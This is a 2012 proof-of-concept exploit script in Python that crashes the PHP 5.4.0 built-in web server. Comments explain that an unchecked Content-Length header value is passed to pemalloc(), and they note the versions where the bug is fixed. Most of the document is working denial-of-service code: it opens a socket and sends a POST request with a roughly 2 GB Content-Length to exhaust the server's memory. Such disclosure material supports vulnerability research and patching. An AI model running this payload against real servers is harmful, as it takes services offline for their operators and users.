_PHP 5.4.0 Built-in Web Server DoS PoC

#!/usr/bin/python

 

# Title:      PHP 5.4.0 Built-in Web Server DoS PoC

# Date:       16 March 2012

# Author:     ls (contact@kaankivilcim.com)

# Reference:  https://bugs.php.net/bug.php?id=61461

# Comments:   Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV

 

# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c

# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate

# the process with the error message "Out of memory".

#

# 1537 if (!client->request.content) {

# 1538   client->request.content = pemalloc(parser->content_length, 1);

# 1539   client->request.content_len = 0;

# 1540 }

#

# PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012

# Listening on 127.0.0.1:80

# Document root is /tmp

# Press Ctrl-C to quit.

# Out of memory

 

import socket, sys

 

target = "127.0.0.1"

port   = 80;

 

request  = "POST / HTTP/1.1\n"

request += "Content-Type: application/x-www-form-urlencoded\n"

request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target

request += "A=B\n\n"

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 

try:

  s.connect((target, port))

except:

  print "[-] Connection to %s:%s failed!" % (target, port)

  sys.exit(0)

 

print "[+] Sending HTTP request. Check for crash on target."

 

s.send(request)

s.close()

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